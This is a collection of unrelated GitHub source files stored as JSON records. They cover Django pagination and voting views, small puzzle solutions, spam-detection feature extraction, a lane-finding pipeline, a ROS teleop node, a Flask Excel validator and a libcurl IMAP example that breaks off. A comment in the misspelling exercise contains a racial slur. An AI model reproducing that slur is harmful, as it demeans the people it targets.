#페이지 크기 쿼리 변수 설정\n page_size_query_param = 'pageSize'\n\n #페이징 결과 데이터 속성명 설정\n def get_paginated_response(self, data):\n return Response(OrderedDict([\n ('totalCount', self.page.paginator.count),\n ('next', self.get_next_link()),\n ('previous', self.get_previous_link()),\n ('data', data)\n ]))","repo_name":"netscout/AngularShop_sources","sub_path":"chapter8/AngularShop/AngularShopDRF/shop/paginations.py","file_name":"paginations.py","file_ext":"py","file_size_in_byte":678,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"33075722358","text":"cases = int(input())\r\n\r\nnew = []\r\n\r\nfor i in range(cases):\r\n index, word = input().split()\r\n index = int(index)\r\n wordz = list(word)\r\n wordz.pop(wordz.index(wordz[index - 1]))\r\n string = ''.join(wordz)\r\n new.append(string)\r\n\r\ni = 1\r\n\r\nfor e in new:\r\n print(i, e)\r\n i += 1\r\n\r\n# CONTEST\r\n# 0123456\r\n# index = 7, 7-1 = 6 nigga.\r\n\r\n# given a number of test cases, remove the nth letter of an inputted string\r\n# and return them in order by numbering them (1, 2, 3)\r\n\r\n# sample input:\r\n'''\r\n4\r\n4 MISSPELL\r\n1 PROGRAMMING\r\n7 CONTEST\r\n3 BALLOON\r\n'''\r\n","repo_name":"Coders222/Shared","sub_path":"Orion/Mispelling.py","file_name":"Mispelling.py","file_ext":"py","file_size_in_byte":566,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"41831667101","text":"from time import time\nslov = {}\ni = 1\nstart = time()\nwhile True:\n z = \"\".join(sorted(str(i**3)))\n try:\n slov[z][0] += 1\n slov[z].append(i)\n if slov[z][0] == 5:\n k = slov[z].copy()\n break\n except:\n slov[z] = [1,]\n slov[z].append(i)\n i += 1\nprint(k[1]**3)\nprint(time() - start)\n","repo_name":"prostomusa/Eyler","sub_path":"62.py","file_name":"62.py","file_ext":"py","file_size_in_byte":345,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"1842197046","text":"import TextFeatures as tf\r\nimport SpammerFeatures as sp\r\nimport csv\r\nimport math\r\n\r\n#for versioning the output features files\r\ni = 7311\r\nj = 731122\r\n\r\n#datasetFile = 'E:/Spam Detection Project on Yelp/Datasets/Balanced Dataset 43000.csv'\r\ndatasetFile = 'E:/Spam Detection Project on Yelp/Datasets/Hotels_Dataset_73000.csv'\r\nspammerFeaturesFile = 'E:/Spam Detection Project on Yelp/Features/SpammerFeatures/Spammer Features'+str(i)+'.csv'\r\noutputFilePreparedCosine = 'E:/Spam Detection Project on Yelp/Features/TextFeatures/Prepared Data Cosine.csv'\r\noutputFileTextFeatures = 'E:/Spam Detection Project on Yelp/Features/TextFeatures/Text Features' +str(j)+'.csv'\r\noutputFileCosineSim = 'E:/Spam Detection Project on Yelp/Features/TextFeatures/Cosine Similarity '+str(j)+'.csv'\r\nfirstReviewerId = '_0L4WNYQ6f6y6pMYzJ3b9Q'\r\nindexForReviewerId = 1\r\nindexForDate = 7\r\nindexForFirstCount = 16\r\nindexForReviewsCount = 14\r\nindexForHelpfulness = 4\r\nindexForText = 2\r\nindexForlabel = 20\r\nindexForRating = 3\r\nindexForHotelsId = 8\r\n\r\n\r\ndef getSpammerFeatures(datasetFile, spammerFeaturesFile, indexForReviewerId, indexForDate, indexForFirstCount ,\r\n indexForReviewsCount, indexForHelpfulness, firstReviewerId):\r\n\r\n MNRFeature = sp.getMNR(datasetFile,indexForReviewerId, indexForDate,firstReviewerId)\r\n REFeature = sp.getReviewingEarly(datasetFile, indexForFirstCount, indexForReviewsCount)\r\n AFFeature = sp.getAccountFreshness(datasetFile,indexForReviewerId,indexForDate, firstReviewerId)\r\n HelpfullFeature = sp.getHelpfulness(datasetFile,indexForReviewerId,indexForHelpfulness,firstReviewerId)\r\n #CosineFeatureForReviewer = sp.getUserCosFeatures('E:/Spam Detection Project on Yelp/Features/SpammerFeatures/cosineOut.csv', indexForReviewerId,firstReviewerId, indexForText)\r\n\r\n MNRFeatureMapped = mappingToDataset(datasetFile,MNRFeature,indexForReviewerId)\r\n AFFeatureMapped = mappingToDataset(datasetFile,AFFeature,indexForReviewerId)\r\n HelpfullFeatureMapped = mappingToDataset(datasetFile,HelpfullFeature,indexForReviewerId)\r\n #CosineFeatureForReviewerMapped = mappingToDataset(datasetFile, CosineFeatureForReviewer, indexForReviewerId)\r\n\r\n AllSpammerFeatures = [MNRFeatureMapped,AFFeatureMapped,HelpfullFeatureMapped,REFeature]\r\n writeCSVListOfList(spammerFeaturesFile,AllSpammerFeatures)\r\n#------------------------------------------------------------------------------------------------------\r\ndef getCosineSimilarity(datasetFile,outputFilePrepared,outputFileFeature,indexForText):\r\n preData,text2vector = tf.PrepareForCosine(datasetFile,outputFilePrepared,indexForText)\r\n cosFeature = []\r\n for i in range(len(preData)):\r\n cosineResult = []\r\n for j in range(len(preData)):\r\n if (i == j):\r\n continue\r\n cosineResult.append(get_cosine(text2vector[i], text2vector[j]))\r\n cosFeature.append(max(cosineResult))\r\n print(\r\n 'Done the text number ' + str(i) + ' from ' + str(len(preData)) + ' with result = ' + str(max(cosineResult)))\r\n\r\n write_csv(outputFileFeature, cosFeature)\r\n print('Done processing')\r\n\r\n#-------------------------------------------------------------\r\n#get the text feature and the cosine\r\ndef getTextFeatures(datasetFile,textFeaturesFile1, outputFileCosine ,indexForText,indexForlabel):\r\n textFeaturesFile = open(textFeaturesFile1,'w')\r\n #avgLenghtDeviation = tf.getAveargeLenghtOfReviews(datasetFile,indexForText,indexForlabel)\r\n\r\n RatingDevFeature = tf.calculateRatingDeviation(datasetFile,indexForReviewerId,indexForRating,indexForHotelsId,firstReviewerId)\r\n writeCSVListOfListRatingDev('E:\\Spam Detection Project on Yelp\\Features\\TextFeatures\\RatingDevFeature.csv',RatingDevFeature)\r\n #getCosineSimilarity(datasetFile,'E:/Spam Detection Project on Yelp/Features/TextFeatures/prepared Data For Cosine.csv'\r\n # ,outputFileCosine,indexForText)\r\n #textFeaturesFile.write('Review Lenght Deviation,Url Mention,Avearge Word Lenght,POS Adj,POS Verb,Filtered\\n')\r\n # with open(datasetFile) as csvfile:\r\n # CSVReader = csv.reader(csvfile, delimiter=',')\r\n # next(csvfile)\r\n # for row in CSVReader:\r\n # adj, verb = tf.get_pos(row[indexForText])\r\n # textFeaturesFile.write(str(tf.getReviewLenghtDeviation(row[indexForText], avgLenghtDeviation)) + ',' +\r\n # str(tf.is_url(row[indexForText])) + ',' + str(tf.getAveargeWordLenght(row[indexForText])) + ',' +\r\n # str(adj)+ ',' + str(verb)+ ','+str(row[indexForlabel])+'\\n')\r\n # features_file.write(str(ratingDeviation(row[3])))\r\n # features_file.write(',')\r\n #textFeaturesFile.close()\r\n\r\n#-------------------------------------------------------------\r\n\r\ndef get_cosine(vec1, vec2):\r\n intersection = set(vec1.keys()) & set(vec2.keys())\r\n numerator = sum([vec1[x] * vec2[x] for x in intersection])\r\n\r\n sum1 = sum([vec1[x]**2 for x in vec1.keys()])\r\n sum2 = sum([vec2[x]**2 for x in vec2.keys()])\r\n denominator = math.sqrt(sum1) * math.sqrt(sum2)\r\n\r\n if not denominator:\r\n return 0.0\r\n else:\r\n return float(numerator) / denominator\r\n\r\n#-------------------------------------------------------------\r\ndef write_csv(path, result):\r\n with open(path, 'w') as csvFile:\r\n writer = csv.writer(csvFile)\r\n for i in range(len(result)):\r\n csvFile.write(result[i])\r\n csvFile.write('\\n')\r\n csvFile.close()\r\n#----------------------------------------------------------------\r\ndef mappingToDataset(datasetFile,featuresList, indexForReviewerId):\r\n\r\n index = 0\r\n featuresListMapped = []\r\n reviewerList = getReviewerList(datasetFile,indexForReviewerId,firstReviewerId)\r\n with open(datasetFile) as csvfile:\r\n next(csvfile)\r\n CSVReader = list(csv.reader(csvfile, delimiter=','))\r\n for i in range(len(reviewerList)):\r\n for row in CSVReader[index:]:\r\n if (row[indexForReviewerId] != reviewerList[i]):\r\n break\r\n featuresListMapped.append(featuresList[i])\r\n index += 1\r\n return featuresListMapped\r\n#-------------------------------------------------------------------\r\ndef getReviewerList(datasetFile, indexForReviewerId,firstReviewerId):\r\n reviewerList = []\r\n with open(datasetFile) as csvfile:\r\n next(csvfile)\r\n prevRow = firstReviewerId\r\n CSVReader = list(csv.reader(csvfile, delimiter=','))\r\n for row in CSVReader:\r\n if (row[indexForReviewerId] != prevRow):\r\n reviewerList.append(prevRow)\r\n\r\n prevRow = row[indexForReviewerId]\r\n\r\n reviewerList.append(prevRow)\r\n csvfile.close()\r\n\r\n return reviewerList\r\n\r\n#-----------------------------------------------------------------------------\r\ndef writeCSVListOfList(path, result):\r\n with open(path, 'w') as csvFile:\r\n csvFile.write('MNR,AF,Helpfulness,RE\\n')\r\n for j in range(len(result[0])):\r\n for i in range(len(result)):\r\n csvFile.write(str(result[i][j]) + ',')\r\n csvFile.write('\\n')\r\n csvFile.close()\r\n#----------------------------------------------------------------------------\r\ndef writeCSVListOfListRatingDev(path, result):\r\n with open(path, 'w') as csvFile:\r\n csvFile.write('Rating Deviation\\n')\r\n counter = 0\r\n for j in range(len(result)):\r\n for i in range(len(result[counter])):\r\n csvFile.write(str(result[j][i]) + ',')\r\n csvFile.write('\\n')\r\n counter += 1\r\n csvFile.close()\r\n\r\n#--------------------------------------------------------------------------------------------------------------------\r\n#running the program\r\n#getSpammerFeatures(datasetFile,spammerFeaturesFile,indexForReviewerId,indexForDate,indexForFirstCount,\r\n # indexForReviewsCount,indexForHelpfulness,firstReviewerId)\r\n\r\ngetTextFeatures(datasetFile,outputFileTextFeatures,outputFileCosineSim,indexForText,indexForlabel)\r\n\r\n\r\n\r\n\r\n","repo_name":"MohammadJaddal/Graduation-Project","sub_path":"FeaturesProvider.py","file_name":"FeaturesProvider.py","file_ext":"py","file_size_in_byte":8144,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"31606355590","text":"# 아파트 단지 정보에서 주차장 정보 추출\n# 관련 사이트 : k-apt.go.kr\n# 메인페이지 팝업창 닫기 => '단지정보' 클릭\n# 2022.06, 서울, 서초구, 반포동 소재 모든 아파트에 대한 정보 추출\n# 아파트명, 도로명주소, 주차장 정보\nimport requests as req\nfrom bs4 import BeautifulSoup\n\n# 아파트 이름\nurl = 'http://www.k-apt.go.kr/kaptinfo/getKaptInfo_poi.do'\nparams = {'bjd_code':'11650107','search_date':'202209'}\n\nres = req.get(url, params=params)\n\nres.text\n\n# 우리단지 기본정보\nurl = 'http://www.k-apt.go.kr/kaptinfo/getKaptList.do'\nparams = {'bjd_code':'11650107','search_date':'202209'}\n\nres = req.get(url, params=params)\n\nres.text\n\n# 관리시설정보\nurl = 'http://www.k-apt.go.kr/kaptinfo/getKaptInfo_detail.do'\nparams = {'kapt_code':'A10024254'}\n\nres = req.get(url, params=params)\n\nres.text\n\nimport json\nhtml = BeautifulSoup(res.text, 'lxml')\naptinfo = json.loads(res.text)\n\n# 주차정보 추출\naptinfo.get('resultMap_kapt').get('KAPTD_PCNT'), \\\naptinfo.get('resultMap_kapt').get('KAPTD_PCNTU')\n\n# 도로정보\naptinfo.get('resultMap_kapt_addrList')[1].get('KAPT_CODE'), \\\naptinfo.get('resultMap_kapt_addrList')[1].get('ADDR')\n","repo_name":"Dongcoon/jupyterlab","sub_path":"17ads_kapt.py","file_name":"17ads_kapt.py","file_ext":"py","file_size_in_byte":1207,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"42705403246","text":"import numpy as np\nimport matplotlib.pyplot as plt\nimport cv2\nimport glob\nimport os\nfrom os.path import join, basename\nfrom moviepy.editor import VideoFileClip\nfrom functions import find_edges, perspective_transform, search_fresh, search_around_poly, draw_onto_road, Line\n\nleft_line = Line()\nright_line = Line()\ncase = None\n\ndef calibration(img_dir):\n # Chessboard size\n nx = 9\n ny = 6\n\n # Read in and make a list of calibration images\n images = glob.glob(img_dir)\n\n # Arrays to stroe object points and image points from all the images\n objpoints = []\n imgpoints = []\n\n # Prepare object points, like (0,0,0), (1,0,0), (2,0,0), ..., (8,5,0)\n objp = np.zeros((ny*nx,3),np.float32)\n objp[:,:2] = np.mgrid[0:nx,0:ny].T.reshape(-1,2) # x,y coordinates\n \n for frame in images:\n # Read in each image\n img = cv2.imread(frame)\n\n # Convert image to grayscale\n gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n\n # Find the chessboard corners\n ret, corners = cv2.findChessboardCorners(gray,(nx,ny),None)\n\n # If corners are found, add object points, image points\n if ret == True:\n imgpoints.append(corners)\n objpoints.append(objp)\n\n # # Draw and display the corners\n # img = cv2.drawChessboardCorners(img, (nx,ny), corners, ret)\n # plt.imshow(img)\n # plt.waitforbuttonpress()\n\n # Use cv2.calibrateCamera()\n ret, mtx, dist, rvecs, tvecs = cv2.calibrateCamera(objpoints, imgpoints, gray.shape[::-1], None, None)\n\n # # Check that the calibration is working well\n # img = cv2.imread('./camera_cal/calibration1.jpg')\n # undist = cv2.undistort(img,mtx,dist,None,mtx)\n # f, (ax1, ax2) = plt.subplots(1, 2, figsize=(16, 6))\n # f.tight_layout()\n # ax1.imshow(img)\n # ax1.set_title('Original Image', fontsize=50)\n # ax2.imshow(undist)\n # ax2.set_title('Undistorted Image', fontsize=50)\n # plt.subplots_adjust(left=0., right=1, top=0.9, bottom=0.)\n # plt.waitforbuttonpress()\n\n return ret, mtx, dist, rvecs, tvecs\n\n\ndef pipeline(frame, verbose = True):\n\n global left_line, right_line, case\n\n if verbose == True:\n img = frame\n else:\n img = cv2.cvtColor(cv2.imread(frame), cv2.COLOR_BGR2RGB)\n left_line.detected = False\n\n # Undistorting, finding edges, perspective transform\n undist = cv2.undistort(img,mtx,dist,None,mtx)\n # plt.imshow(undist)\n # plt.waitforbuttonpress()\n edges = find_edges(undist)\n # plt.imshow(edges)\n # plt.waitforbuttonpress()\n warped, Minv = perspective_transform(edges, case)\n # plt.imshow(warped)\n # plt.waitforbuttonpress()\n\n # Poly fitting the line, calculating curvature\n if left_line.detected == False:\n left_line, right_line, detected_img, line_img = search_fresh(warped, left_line, right_line, smooth = 3)\n else:\n left_line, right_line, detected_img, line_img = search_around_poly(warped, left_line, right_line, smooth = 3)\n # plt.imshow(detected_img)\n # plt.waitforbuttonpress()\n # plt.imshow(line_img)\n # plt.waitforbuttonpress()\n \n out_img = draw_onto_road(undist,edges,Minv,left_line,right_line, detected_img, line_img)\n # plt.imshow(out_img)\n # plt.waitforbuttonpress()\n \n return out_img\n\n\nif __name__ =='__main__':\n\n # Calibrate the camera\n ret, mtx, dist, rvecs, tvecs = calibration(img_dir='./camera_cal/calibration*.jpg')\n\n # test_images = glob.glob('./test_images/*.jpg')\n # for test_img in test_images:\n # case = 'project_video.mp4'\n # # case = 'challenge_video.mp4'\n # # case = 'harder_challenge_video.mp4'\n # output = pipeline(test_img, verbose = False)\n # outpath = os.path.join('output_images','output_'+basename(test_img))\n # cv2.imwrite(outpath,cv2.cvtColor(output, cv2.COLOR_RGB2BGR))\n # left_line = Line()\n # right_line = Line()\n\n test_videos = glob.glob('./test_videos/*.mp4')\n for test_video in test_videos:\n case = basename(test_video)\n outpath = os.path.join('output_videos','output_'+basename(test_video))\n clip1 = VideoFileClip(test_video, verbose = True)\n clip = clip1.fl_image(pipeline)\n clip.write_videofile(outpath,audio = False)\n left_line = Line()\n right_line = Line()\n\n\n\n\n\n","repo_name":"sj1108/Udacity_SDCND_t1","sub_path":"CarND-Advanced-Lane-Lines/P4.py","file_name":"P4.py","file_ext":"py","file_size_in_byte":4345,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"35614095131","text":"import signal\nimport tkinter\n\nfrom geometry_msgs.msg import Twist, Vector3\nimport numpy\nimport rclpy\nfrom rclpy.node import Node\n\n\nclass MouseTeleop(Node):\n\n def __init__(self):\n super().__init__('mouse_teleop')\n\n # Retrieve params:\n self._frequency = self.declare_parameter('frequency', 0.0).value\n self._scale = self.declare_parameter('scale', 1.0).value\n self._holonomic = self.declare_parameter('holonomic', False).value\n\n # Create twist publisher:\n self._pub_cmd = self.create_publisher(Twist, 'mouse_vel', 10)\n\n # Initialize twist components to zero:\n self._v_x = 0.0\n self._v_y = 0.0\n self._w = 0.0\n\n # Initialize mouse position (x, y) to None (unknown); it's initialized\n # when the mouse button is pressed on the _start callback that handles\n # that event:\n self._x = None\n self._y = None\n\n # Create window:\n self._root = tkinter.Tk()\n self._root.title('Mouse Teleop')\n\n # Make window non-resizable:\n self._root.resizable(0, 0)\n\n # Create canvas:\n self._canvas = tkinter.Canvas(self._root, bg='white')\n\n # Create canvas objects:\n self._canvas.create_arc(0, 0, 0, 0, fill='red', outline='red',\n width=1, style=tkinter.PIESLICE, start=90.0, tag='w')\n self._canvas.create_line(0, 0, 0, 0, fill='blue', width=4, tag='v_x')\n\n if self._holonomic:\n self._canvas.create_line(0, 0, 0, 0, fill='blue', width=4, tag='v_y')\n\n # Create canvas text objects:\n self._text_v_x = tkinter.StringVar()\n if self._holonomic:\n self._text_v_y = tkinter.StringVar()\n self._text_w = tkinter.StringVar()\n\n self._label_v_x = tkinter.Label(self._root, anchor=tkinter.W, textvariable=self._text_v_x)\n if self._holonomic:\n self._label_v_y = tkinter.Label(\n self._root, anchor=tkinter.W, textvariable=self._text_v_y)\n self._label_w = tkinter.Label(self._root, anchor=tkinter.W, textvariable=self._text_w)\n\n if self._holonomic:\n self._text_v_x.set('v_x = %0.2f m/s' % self._v_x)\n self._text_v_y.set('v_y = %0.2f m/s' % self._v_y)\n self._text_w.set('w = %0.2f deg/s' % self._w)\n else:\n self._text_v_x.set('v = %0.2f m/s' % self._v_x)\n self._text_w.set('w = %0.2f deg/s' % self._w)\n\n self._label_v_x.pack()\n if self._holonomic:\n self._label_v_y.pack()\n self._label_w.pack()\n\n # Bind event handlers:\n self._canvas.bind('<Button-1>', self._start)\n self._canvas.bind('<ButtonRelease-1>', self._release)\n\n self._canvas.bind('<Configure>', self._configure)\n\n if self._holonomic:\n self._canvas.bind('<B1-Motion>', self._mouse_motion_linear)\n self._canvas.bind('<Shift-B1-Motion>', self._mouse_motion_angular)\n\n self._root.bind('<Shift_L>', self._change_to_motion_angular)\n self._root.bind('<KeyRelease-Shift_L>', self._change_to_motion_linear)\n else:\n self._canvas.bind('<B1-Motion>', self._mouse_motion_angular)\n\n self._canvas.pack()\n\n # If frequency is positive, use synchronous publishing mode:\n if self._frequency > 0.0:\n # Create timer for the given frequency to publish the twist:\n period = 1.0 / self._frequency\n\n self._timer = self.create_timer(period, self._publish_twist)\n\n # Handle ctrl+c on the window\n self._root.bind('<Control-c>', self._quit)\n\n # Nasty polling-trick to handle ctrl+c in terminal\n self._root.after(50, self._check)\n signal.signal(2, self._handle_signal)\n\n # Start window event manager main loop:\n self._root.mainloop()\n\n def _quit(self, ev):\n self._root.quit()\n\n def __del__(self):\n self._root.quit()\n\n def _check(self):\n self._root.after(50, self._check)\n\n def _handle_signal(self, signum, frame):\n self._quit(None)\n\n def _start(self, event):\n self._x, self._y = event.y, event.x\n\n self._y_linear = self._y_angular = 0\n\n self._v_x = self._v_y = self._w = 0.0\n\n def _release(self, event):\n self._v_x = self._v_y = self._w = 0.0\n\n self._send_motion()\n\n def _configure(self, event):\n self._width, self._height = event.height, event.width\n\n self._c_x = self._height / 2.0\n self._c_y = self._width / 2.0\n\n self._r = min(self._height, self._width) * 0.25\n\n def _mouse_motion_linear(self, event):\n self._v_x, self._v_y = self._relative_motion(event.y, event.x)\n\n self._send_motion()\n\n def _mouse_motion_angular(self, event):\n self._v_x, self._w = self._relative_motion(event.y, event.x)\n\n self._send_motion()\n\n def _update_coords(self, tag, x0, y0, x1, y1):\n x0 += self._c_x\n y0 += self._c_y\n\n x1 += self._c_x\n y1 += self._c_y\n\n self._canvas.coords(tag, (x0, y0, x1, y1))\n\n def _draw_v_x(self, v):\n x = -v * float(self._width)\n\n self._update_coords('v_x', 0, 0, 0, x)\n\n def _draw_v_y(self, v):\n y = -v * float(self._height)\n\n self._update_coords('v_y', 0, 0, y, 0)\n\n def _draw_w(self, w):\n x0 = y0 = -self._r\n x1 = y1 = self._r\n\n self._update_coords('w', x0, y0, x1, y1)\n\n yaw = w * numpy.rad2deg(self._scale)\n\n self._canvas.itemconfig('w', extent=yaw)\n\n def _send_motion(self):\n\n self._draw_v_x(self._v_x)\n if self._holonomic:\n self._draw_v_y(self._v_y)\n self._draw_w(self._w)\n\n if self._holonomic:\n self._text_v_x.set('v_x = %0.2f m/s' % self._v_x)\n self._text_v_y.set('v_y = %0.2f m/s' % self._v_y)\n self._text_w.set('w = %0.2f deg/s' % numpy.rad2deg(self._w))\n else:\n self._text_v_x.set('v = %0.2f m/s' % self._v_x)\n self._text_w.set('w = %0.2f deg/s' % numpy.rad2deg(self._w))\n\n v_x = self._v_x * self._scale\n v_y = self._v_y * self._scale\n w = self._w * self._scale\n\n lin = Vector3(x=v_x, y=v_y, z=0.0)\n ang = Vector3(x=0.0, y=0.0, z=w)\n\n twist = Twist(linear=lin, angular=ang)\n self._pub_cmd.publish(twist)\n\n def _publish_twist(self):\n self._send_motion()\n\n def _relative_motion(self, x, y):\n dx = self._x - x\n dy = self._y - y\n\n dx /= float(self._width)\n dy /= float(self._height)\n\n dx = max(-1.0, min(dx, 1.0))\n dy = max(-1.0, min(dy, 1.0))\n\n return dx, dy\n\n def _change_to_motion_linear(self, event):\n if self._y is not None:\n y = event.x\n\n self._y_angular = self._y - y\n self._y = self._y_linear + y\n\n def _change_to_motion_angular(self, event):\n if self._y is not None:\n y = event.x\n\n self._y_linear = self._y - y\n self._y = self._y_angular + y\n\n\ndef main():\n try:\n rclpy.init()\n\n node = MouseTeleop()\n\n node.destroy_node()\n rclpy.shutdown()\n except KeyboardInterrupt:\n pass\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"kallaspriit/rosbot","sub_path":"experiments/test_teleop/src/teleop_tools/mouse_teleop/mouse_teleop/mouse_teleop.py","file_name":"mouse_teleop.py","file_ext":"py","file_size_in_byte":7243,"program_lang":"python","lang":"en","doc_type":"code","stars":162,"dataset":"github-code","pt":"61"} +{"seq_id":"10783829672","text":"from flask import Flask, render_template, request , jsonify\nimport pandas as pd\n\nfrom validaciones import *\n\napp = Flask(__name__)\n\n@app.route('/data', methods =['GET', 'POST'])\ndef data():\n if request.method == 'GET':\n return render_template(\"index.html\")\n\n if request.method == 'POST':\n file = request.files['archivo']\n print(file)\n \n if esExcel(file.filename):\n data = pd.read_excel(file) #convierte excel en dataframe\n if not estaVacio(data):\n if checkColumnas(data):\n if checkDatosColumnas(data):\n return data.to_json(orient=\"records\"),200\n else:\n return \"las columnas contienen errores\", 400 \n else:\n return \"Error, no contiene todas las columnas\", 400 \n else:\n return \"Error, archivo excel vacio\" , 400 \n else:\n if file.filename==\"\":\n return \"Error no has cargado archivo\" , 400 \n else:\n return \"formato incorrecto, no es excel\" , 400 \n \n\nif __name__ == '__main__':\n app.run(debug= True)\n","repo_name":"VicenteSK/leer_excel_python","sub_path":"leer_excel.py","file_name":"leer_excel.py","file_ext":"py","file_size_in_byte":1217,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"14217603791","text":"from rest_framework import permissions, status, views\nfrom rest_framework.response import Response\n\nfrom posts.models import Post, Vote\nfrom posts.serializers import PostSerializer, VoteSerializer\n\nfrom a2ausers.models import User\n\n\nclass VoteView(views.APIView):\n\n def get_permissions(self):\n return (permissions.IsAuthenticated(), )\n\n # Do, undo upvote/downvote for a post\n def post(self, request, format=None):\n id = request.GET.get('postID')\n\n if id is None:\n return Response(status=status.HTTP_400_BAD_REQUEST)\n post = Post.objects.filter(id=id).first()\n if post is None:\n return Response(status=status.HTTP_404_NOT_FOUND)\n\n voter = User.objects.get(id=request.user.id).a2ausers\n\n serializer = VoteSerializer(data=request.data)\n if serializer.is_valid():\n score = serializer.validated_data.get('score')\n if score == 1: # upvote / undo upvote\n downvote = Vote.objects.filter(\n post__id=id, score=-1,\n user__user__username=request.user.username).first()\n # Need to undo downvote before upvoting\n if downvote is not None:\n return Response(\n 'You need to undo your downvote before downvoting',\n status=status.HTTP_400_BAD_REQUEST)\n\n vote = Vote.objects.filter(\n post__id=id, score=1,\n user__user__username=request.user.username).first()\n\n if vote is None: # Never upvoted\n vote = Vote(post=post, user=voter, score=1)\n vote.save()\n post.total_vote += 1\n # post.votes.add(voter)\n post.save()\n return Response({\n 'message': 'Upvote sucessfully.',\n 'total_vote': post.total_vote,\n 'my_vote': 1\n }, status=status.HTTP_201_CREATED)\n\n else: # Upvoted => undo upvote\n # post.votes.remove(voter)\n post.total_vote -= 1\n post.save()\n vote.delete()\n return Response({\n 'message': 'Undo upvote sucessfully.',\n 'total_vote': post.total_vote,\n 'my_vote': 0\n }, status=status.HTTP_200_OK)\n else: # downvote / undo downvote\n upvote = Vote.objects.filter(\n post__id=id, score=1,\n user__user__username=request.user.username).first()\n # Need to undo upvote before downvoting\n if upvote is not None:\n return Response(\n 'You need to undo your upvote before downvoting',\n status=status.HTTP_400_BAD_REQUEST)\n\n vote = Vote.objects.filter(\n post__id=id, score=-1,\n user__user__username=request.user.username).first()\n if vote is None: # Never downvoted\n vote = Vote(post=post, user=voter, score=-1)\n vote.save()\n post.total_vote -= 1\n # post.votes.add(voter)\n post.save()\n return Response('Downvote sucessfully.',\n status=status.HTTP_201_CREATED)\n else: # Downvoted => undo downvote\n # post.votes.remove(voter)\n post.total_vote += 1\n post.save()\n vote.delete()\n return Response('Undo downvote sucessfully.',\n status=status.HTTP_200_OK)\n\n # Get vote status of the requester on the post\n # Return 1, 0, -1 for upvoted, none, downvoted\n def get(self, request, format=None):\n id = request.GET.get('postID')\n if id is None:\n return Response(status=status.HTTP_400_BAD_REQUEST)\n post = Post.objects.filter(id=id).first()\n if post is None:\n return Response(status=status.HTTP_404_NOT_FOUND)\n\n vote = Vote.objects.filter(\n post__id=id, user__user__username=request.user.username).first()\n\n if vote is None:\n return Response(0, status=status.HTTP_200_OK)\n else:\n return Response(vote.score, status=status.HTTP_200_OK)\n\n\nclass PostDetailView(views.APIView):\n\n def get_permissions(self):\n if self.request.method in 'GET':\n return (permissions.AllowAny(),)\n return (permissions.IsAuthenticated(), )\n\n def get(self, request, id, format=None):\n # Get single post\n post = Post.objects.get(pk=id)\n serializer = PostSerializer(post)\n return Response(serializer.data)\n\n\nclass FollowPostView(views.APIView):\n\n def get_permissions(self):\n return (permissions.IsAuthenticated(), )\n\n # Get follow status\n # Return 1 if followed, 0 otherwise\n def get(self, request, format=None):\n post_id = request.GET.get('postID')\n if post_id is None:\n return Response(status=status.HTTP_400_BAD_REQUEST)\n post = Post.objects.filter(id=post_id).first()\n if post is None:\n return Response(status=status.HTTP_404_NOT_FOUND)\n\n if post.followed_by.filter(user__id=request.user.id).exists():\n return Response(1, status=status.HTTP_200_OK)\n else:\n return Response(0, status=status.HTTP_200_OK)\n\n # Follow, unfollow a post\n # If followed, the user now will unfollow the post\n # If not followed, the user will follow the post\n def post(self, request, format=None):\n post_id = request.GET.get('postID')\n if post_id is None:\n return Response(status=status.HTTP_400_BAD_REQUEST)\n post = Post.objects.filter(id=post_id).first()\n if post is None:\n return Response(status=status.HTTP_404_NOT_FOUND)\n\n follower = User.objects.get(id=request.user.id).a2ausers\n\n if post.followed_by.filter(user__id=request.user.id).exists():\n post.followed_by.remove(follower)\n else:\n post.followed_by.add(follower)\n post.save()\n return Response(status=status.HTTP_200_OK)\n","repo_name":"proj5/tech2016","sub_path":"app/posts/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":6427,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"8232388756","text":"import sys\nimport ctypes as ct\n\nimport libcurl as lcurl\nfrom curltestutils import * # noqa\n\nif not lcurl.CURL_AT_LEAST_VERSION(7, 30, 0):\n print(\"This example requires curl 7.30.0 or later\", file=sys.stderr)\n sys.exit(-1)\n\n\n# This is a simple example showing how to modify an existing mail\n# using libcurl's IMAP capabilities with the STORE command.\n\ndef main(argv=sys.argv[1:]):\n\n url: str = argv[0] if len(argv) >= 1 else \"imap://imap.example.com/INBOX\"\n\n curl: ct.POINTER(lcurl.CURL) = lcurl.easy_init()\n\n with curl_guard(False, curl):\n if not curl: return 1\n\n # Set username and password\n lcurl.easy_setopt(curl, lcurl.CURLOPT_USERNAME, b\"user\")\n lcurl.easy_setopt(curl, lcurl.CURLOPT_PASSWORD, b\"secret\")\n # This is the mailbox folder to select\n lcurl.easy_setopt(curl, lcurl.CURLOPT_URL, url.encode(\"utf-8\"))\n # Set the STORE command with the Deleted flag for message 1. Note that\n # you can use the STORE command to set other flags such as Seen, Answered,\n # Flagged, Draft and Recent.\n lcurl.easy_setopt(curl, lcurl.CURLOPT_CUSTOMREQUEST, b\"STORE 1 +Flags \\\\Deleted\")\n\n # Perform the custom request\n res: int = lcurl.easy_perform(curl)\n\n # Check for errors\n if res != lcurl.CURLE_OK:\n handle_easy_perform_error(res)\n else:\n # Set the EXPUNGE command, although you can use the CLOSE command\n # if you do not want to know the result of the STORE\n lcurl.easy_setopt(curl, lcurl.CURLOPT_CUSTOMREQUEST, b\"EXPUNGE\")\n\n # Perform the second custom request\n res = lcurl.easy_perform(curl)\n\n # Check for errors\n if res != lcurl.CURLE_OK:\n handle_easy_perform_error(res)\n\n return 